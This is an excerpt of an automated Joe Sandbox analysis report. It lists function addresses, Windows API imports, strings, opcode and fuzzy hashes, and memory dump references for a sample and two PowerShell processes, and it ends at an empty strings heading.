Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction ID: 485fe6590ee9294afca8a64bf1a407fdfd21a07d2621a09d16cf831d78a94728
Opcode Fuzzy Hash: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction Fuzzy Hash: 9641A233A39A4586DB20AF69F8443AAB761FB98784F804431EA4D877A8DF3CE441D750

Function 00007FF77B1FE508 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF77B1FE548
GetCurrentDirectoryW.KERNEL32 ref: 00007FF77B1FE59A

Strings

:, xrefs: 00007FF77B1FE55E

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c96ce3ad044416fb9599911189556e1cf2cbbd82c862d3c5499b8d6e200c136e
Instruction ID: 945ae5cf3dea6fb4efee78d11ddd210a0b7ac7857dbd8b0378c40a1188e0c554
Opcode Fuzzy Hash: c96ce3ad044416fb9599911189556e1cf2cbbd82c862d3c5499b8d6e200c136e
Instruction Fuzzy Hash: 3F21D573A3964185EB20AB19E45426DB3A1FB85B88FC58035D74C432ACDF7CE585C761

Function 00007FF77B1E2880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

MessageBoxW.USER32 ref: 00007FF77B1E2951
MessageBoxA.USER32 ref: 00007FF77B1E296D

Strings

Error detected, xrefs: 00007FF77B1E2925, 00007FF77B1E295F

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction ID: aec9a51b37585271b067cedd42af4aec2f4e8bad3d16dc1a8642e2cd04cf729b
Opcode Fuzzy Hash: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction Fuzzy Hash: 1021747363868692EB20AB58F4517EAA354FB84788FC05135EA8D476ADDF3CD305C760

Function 00007FF77B1E2770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

MessageBoxW.USER32 ref: 00007FF77B1E2841
MessageBoxA.USER32 ref: 00007FF77B1E285D

Strings

Fatal error detected, xrefs: 00007FF77B1E2815, 00007FF77B1E284F

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction ID: 51b9ac64ceec193752c59d01f23a11f73378d2fa717b0ef5c51e330f86b29492
Opcode Fuzzy Hash: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction Fuzzy Hash: 4C21627363868292EB30AB58F4517EAA354FB84788FC04135EA8D476ADDF3CD205C760

Function 00007FF77B1EEFB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF77B1EEFF4
RaiseException.KERNEL32 ref: 00007FF77B1EF03A

Strings

csm, xrefs: 00007FF77B1EF027

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction ID: 69fe69b51a51f828cd22012dd55584f11a890f94269ef1f6145600a4171be72d
Opcode Fuzzy Hash: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction Fuzzy Hash: 21114F33629B8182EB619F19F440269B7E5FB88B98F984230EE8C07768DF3DD551C710

Function 00007FF77B1FF00C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1FF03C
GetDriveTypeW.KERNEL32 ref: 00007FF77B1FF07C

Strings

:, xrefs: 00007FF77B1FF065

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction ID: fdfc845d0e177365c7d7e7b5537ac8b1fead267dcb2a4f74d089fdf183613d57
Opcode Fuzzy Hash: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction Fuzzy Hash: 4901847393A2068AFB61BF68B46127EA3A0EF4474CFC41035D64D826A9DF6CF544DA24

Analysis Process: powershell.exePID: 3004, Parent PID: 5300COMMON

Executed Functions

Function 00007FFD9B3D9715 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552cf13e722ef81ae120020d5d1e3b4d20569c9b9b151e6c93fc8a9acf2354ba
Instruction ID: 6827abd558c31a45d6cb5a64ba77fc4fd70bdf10502c813cc59ae5879e340d8c
Opcode Fuzzy Hash: 552cf13e722ef81ae120020d5d1e3b4d20569c9b9b151e6c93fc8a9acf2354ba
Instruction Fuzzy Hash: 42413B31A1DB8C4FD719DF58DC5A6A97BE0FF59710F00426FD089C32A2DA656C46CB82

Function 00007FFD9B3DA798 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73edc09ae5e3851a1fa2bc6ca2abcd196064c89517553003b4e7cbdc0606786b
Instruction ID: 02777e5de6ea1a7ee85f7c249edf8347908f849fe6d4596dcb75885000f33bb3
Opcode Fuzzy Hash: 73edc09ae5e3851a1fa2bc6ca2abcd196064c89517553003b4e7cbdc0606786b
Instruction Fuzzy Hash: 5441173191CB4C4FDB1CDB5CA84A6E97BE0EBA9321F00426FD449C3252DB75A456CBC2

Function 00007FFD9B2BE99F Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1905665576.00007FFD9B2BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b2bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41242afda7ca03287ec2edcd7c0d9ce96029ae623e1fc8934b621cea0db2a85
Instruction ID: fc3f494cfd2d6ed437adda3ce47a6c880e4446e44886948ab14336e77479266b
Opcode Fuzzy Hash: f41242afda7ca03287ec2edcd7c0d9ce96029ae623e1fc8934b621cea0db2a85
Instruction Fuzzy Hash: 7C41077140DBC44FE79A9B2898559523FF0EF57320B1506DFD088CF1A3DA25A84ACBA2

Function 00007FFD9B3D9785 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea03ecfb00aa7f323387f1700cb7abb72fe60b6b83c7b6d7e5172ec2dc08a032
Instruction ID: 4cd1f02adb5990b83f804c4552b90ee13a81cffbad7c5b72cf008e5286530c90
Opcode Fuzzy Hash: ea03ecfb00aa7f323387f1700cb7abb72fe60b6b83c7b6d7e5172ec2dc08a032
Instruction Fuzzy Hash: 2231F671A1CB4C8FDB58DB5C9C0A6A97BE0FB99320F00426FE049C3252DA75A855CBC2

Function 00007FFD9B3DA6C8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9b298b9f898d60b3bce0666d73b04ce52278aa188482b2065fff5c340975b61
Instruction ID: ce19148bbf71d6d53bd9c02f828ac2bf7b17d1fe006e97162e274ece53da1524
Opcode Fuzzy Hash: c9b298b9f898d60b3bce0666d73b04ce52278aa188482b2065fff5c340975b61
Instruction Fuzzy Hash: AE31393190C74C8FEB58DFAC984A7E97BE0EB96330F04426FD049C7152D675641ACB52

Function 00007FFD9B3D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction ID: bfb36fa0363ad731f6b5ca7a7d85b04961e9e267f58d672a1290080f67e65a44
Opcode Fuzzy Hash: 5da2c6b30f459f635ce5dc462c2373d4b27d0aa50ea3d8b2107ca56167582fe6
Instruction Fuzzy Hash: 1601677121CB0C4FD748EF4CE451AA5B7E0FB95364F10056DE58AC36A5DA36E882CB45

Function 00007FFD9B3DA508 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b039ea5585e91849b14bcadf10a6cc533bd76646970448b6d408a74c5ba8a75
Instruction ID: 076c8613505bc69f19c071b3e50dfab51f1b3c3d7ce5c8a2c33461fb3b451946
Opcode Fuzzy Hash: 7b039ea5585e91849b14bcadf10a6cc533bd76646970448b6d408a74c5ba8a75
Instruction Fuzzy Hash: 8CF02B3081968D8FDB0AEF2488159D57FA0FF16250B05039BD458C71B2DB659558CB82

Function 00007FFD9B4A44CD Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909879776.00007FFD9B4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B4A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b4a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28da6178d5785a81dbc4528360ea8943c8e1f120f1496e11a197b8c17df2eae8
Instruction ID: 0e3c4ac494a8c2fc12e373d65dcd38df93497e9b38ba1b9c848ed912729e14bb
Opcode Fuzzy Hash: 28da6178d5785a81dbc4528360ea8943c8e1f120f1496e11a197b8c17df2eae8
Instruction Fuzzy Hash: FBF05E32B0D5498FE768EA5CE4618A873E0FF4532475500BBE16DC75A7DB25EC41C780

Function 00007FFD9B4A5344 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909879776.00007FFD9B4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B4A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b4a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5240a6b0fe90b3483a3909b469c241789fe90e39c0c3634a2c0805912a2fa7f3
Instruction ID: d2815fd7709062ca65c1256bf6098cd653c0d1007dbb4f17886c9537feda3058
Opcode Fuzzy Hash: 5240a6b0fe90b3483a3909b469c241789fe90e39c0c3634a2c0805912a2fa7f3
Instruction Fuzzy Hash: D2F0A73131CF044FD744EE1DD445661B3E0FBA8314F10452FE449C3655DA21E8818782

Function 00007FFD9B4A4780 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909879776.00007FFD9B4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B4A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b4a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0524a9c279c333a1b88a4b58aee1a00eb995107ce2b272084e930bb15396cdc8
Instruction ID: dd840c5cc1f58d6768b18e16e31380f7b54b7bf7fafca84b0cc5af86395c2529
Opcode Fuzzy Hash: 0524a9c279c333a1b88a4b58aee1a00eb995107ce2b272084e930bb15396cdc8
Instruction Fuzzy Hash: A2F03A32A0D5888FD768EA58A4558A877E0EF0632575600BAE16DC74A7DA25AC41C780

Function 00007FFD9B3D9ED7 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0926ec818198f7ce522f4267e26b00767242ce8dc72a31be43a9c95f5f5f2396
Instruction ID: ed11fbd3c797c56d87c64a946c86a3af2c92f193ee8fb934fcf0602330b6adb3
Opcode Fuzzy Hash: 0926ec818198f7ce522f4267e26b00767242ce8dc72a31be43a9c95f5f5f2396
Instruction Fuzzy Hash: C5F0273151868C4FC701EF18D8154E67FB0FF96204B0103EBE44DC7072C6219618CBC2

Function 00007FFD9B3D9ECF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a864a51a561283f533caca4cc3ff30b2ed758f402a4d451dec573ff28ce4306f
Instruction ID: ab43c03a56dcdfc1b09cdfdf5d85092c7d8d8fc8b911a2e3fb8c3c6bc425488f
Opcode Fuzzy Hash: a864a51a561283f533caca4cc3ff30b2ed758f402a4d451dec573ff28ce4306f
Instruction Fuzzy Hash: 10F05E3081D78C8FC706EF6498284B57FB0EF66201B0A42DBE44DCB072D7259918CB92

Function 00007FFD9B3D9E76 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1907269662.00007FFD9B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b3d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ddbbaefc88bb0a27d7887b53002af7ced5df8a8186c081e2bce316027c5ed49
Instruction ID: d94f9f89ee2f138ecaa7b90b254456eb7e81f3babed41a597eb3198238c75a43
Opcode Fuzzy Hash: 8ddbbaefc88bb0a27d7887b53002af7ced5df8a8186c081e2bce316027c5ed49
Instruction Fuzzy Hash: 55F01C3081D7CC8FCB46DF6498298A57FF0FE56210B0A42DBE48DCB172D7299958CB92

Analysis Process: powershell.exePID: 3568, Parent PID: 5300COMMON

Executed Functions

Function 00007FFD9B3A9785 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c7b29dc19b0da3c7c847d5c987c8a4254b78bb58ef305fd6b27252c17654c6
Instruction ID: acd56cf026e33b6e173ddae472c3b7ebe8fc06eaec5f704c6d94a0a8e799f01d
Opcode Fuzzy Hash: a1c7b29dc19b0da3c7c847d5c987c8a4254b78bb58ef305fd6b27252c17654c6
Instruction Fuzzy Hash: D831D63191CB4C9FDB18EF5C9C4A6A97BE0FB59720F00426FE449D3252DA74A856CBC2

Function 00007FFD9B28EF00 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977078297.00007FFD9B28D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B28D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b28d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bece1c763ba4de565dc6cdbfdb3ce9ff0b3ae2077fb9df97ffd686759147e95
Instruction ID: 27031bb91bec3193cd8dc7a8d0d826c5900593ecffb76323d3a2eb16537eca09
Opcode Fuzzy Hash: 0bece1c763ba4de565dc6cdbfdb3ce9ff0b3ae2077fb9df97ffd686759147e95
Instruction Fuzzy Hash: 7841F57150EBC44FD7579B3998559523FF0EF67220B1A01DFD088CF1A3D625A84AC7A2

Function 00007FFD9B3AA6C8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f41e6aa39ddcb9cd664203b90e95138f02d7fbb00c5a5497b93be22e1a3baba
Instruction ID: 453bb06ee20f3b8b89ea44d37269e939754ff4ef7c0b102aa70364f99719174b
Opcode Fuzzy Hash: 6f41e6aa39ddcb9cd664203b90e95138f02d7fbb00c5a5497b93be22e1a3baba
Instruction Fuzzy Hash: 36210A3190CB4C4FDB58DF9CD84A7E97BE0EB96321F14426FD049C3162D674A456CB91

Function 00007FFD9B3A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86edf138029f4b6df4f319f08bbe8afee401992aae041ce2c8b479a8aa907b9b
Instruction ID: 1b8c9e6a328486c9610882772d4b40648cb468d61fa5fde62c5908f1d6ea279f
Opcode Fuzzy Hash: 86edf138029f4b6df4f319f08bbe8afee401992aae041ce2c8b479a8aa907b9b
Instruction Fuzzy Hash: 9E01677121CB0C4FD748EF4CE451AA5B7E0FB95364F10056DE58AC36A5DA36E882CB45

Function 00007FFD9B3AA508 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9975cc21d2da73ad4647f3ba99703721241d28eba170b2869faae0c9485c868
Instruction ID: 4b2c138cca9c76126b98c54079748fcae9f0d7e6db55555c0c7b1d6b69ec7172
Opcode Fuzzy Hash: d9975cc21d2da73ad4647f3ba99703721241d28eba170b2869faae0c9485c868
Instruction Fuzzy Hash: 61F02B3180968D8FDB06EF6488155D57FA0FF26210F05039BD498C71B2DB649558CBC2

Function 00007FFD9B4744CD Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1978639114.00007FFD9B470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c90bcd9ef009faa0dc2f3a47cfd67c7278e7e9448bdf4a7c1a61539c8efcc7c
Instruction ID: c36d3e848c51a0b9c2af6b4d6005eac16ec835222c51743f64125adfddd4f89d
Opcode Fuzzy Hash: 5c90bcd9ef009faa0dc2f3a47cfd67c7278e7e9448bdf4a7c1a61539c8efcc7c
Instruction Fuzzy Hash: 80F03A32B0D9498FE768EA5CA4A18A873E0FF4532475500BBE16DC75B7DA25EC41C780

Function 00007FFD9B475014 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1978639114.00007FFD9B470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e5d6421942957ed20a185783c269157c108f612fc519d94a7adaecc86a5bbb
Instruction ID: d2815fd7709062ca65c1256bf6098cd653c0d1007dbb4f17886c9537feda3058
Opcode Fuzzy Hash: 29e5d6421942957ed20a185783c269157c108f612fc519d94a7adaecc86a5bbb
Instruction Fuzzy Hash: D2F0A73131CF044FD744EE1DD445661B3E0FBA8314F10452FE449C3655DA21E8818782

Function 00007FFD9B474780 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1978639114.00007FFD9B470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba83e34299fa4fdf61bc1c74502b88069b3177e4dc9d74a2f68c570d18cac19
Instruction ID: 252e7858b11b6eb00fa3f99270ea6cc6cb30c6e0e316d14dfb7320ee6a430da1
Opcode Fuzzy Hash: 4ba83e34299fa4fdf61bc1c74502b88069b3177e4dc9d74a2f68c570d18cac19
Instruction Fuzzy Hash: 3BF03A32A0D5488FD768EA58A4958A877E0EF0632575600BAE16DC74A7DA25AC40C780

Function 00007FFD9B3A9ED7 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d3d0d239be2d5260994ff7c168787f165a646e9ac38da675ee6087f3b24d36e
Instruction ID: 54b8e8322ade7f21ff43c0c7aa3a1ee63d1b57d95886634aa5c317fbf16cc243
Opcode Fuzzy Hash: 8d3d0d239be2d5260994ff7c168787f165a646e9ac38da675ee6087f3b24d36e
Instruction Fuzzy Hash: 17F0273151868C4FCB01EF58D8258E67FB0EF56201B0101EBE44DC7072C6209618CBD2

Function 00007FFD9B3A9ECF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a864a51a561283f533caca4cc3ff30b2ed758f402a4d451dec573ff28ce4306f
Instruction ID: 39a5ff19b152faec1efdf649002c3687a697b0a5ea293013e61c9037fbcfc49e
Opcode Fuzzy Hash: a864a51a561283f533caca4cc3ff30b2ed758f402a4d451dec573ff28ce4306f
Instruction Fuzzy Hash: A8F03A3141D78C8FCB46AF6498288A57FB0EE26200B0A42DBE449CB072D7249918CB92

Function 00007FFD9B3A9E76 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1977922263.00007FFD9B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b3a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ddbbaefc88bb0a27d7887b53002af7ced5df8a8186c081e2bce316027c5ed49
Instruction ID: 1be0bb424af514b809122bb5d5c9dff443c255be3e685248e7887f1bc2e5f099
Opcode Fuzzy Hash: 8ddbbaefc88bb0a27d7887b53002af7ced5df8a8186c081e2bce316027c5ed49
Instruction Fuzzy Hash: 64F01C3141D7CC8FCB46EF6498298A57FF0FE56210B0A42DBE48DCB172D7299958CB92

Non-executed Functions

Function 00007FFD9B3A8815 Relevance: 6.4, Strings: 5, Instructions: 180COMMON

Download Yara Rule

Strings

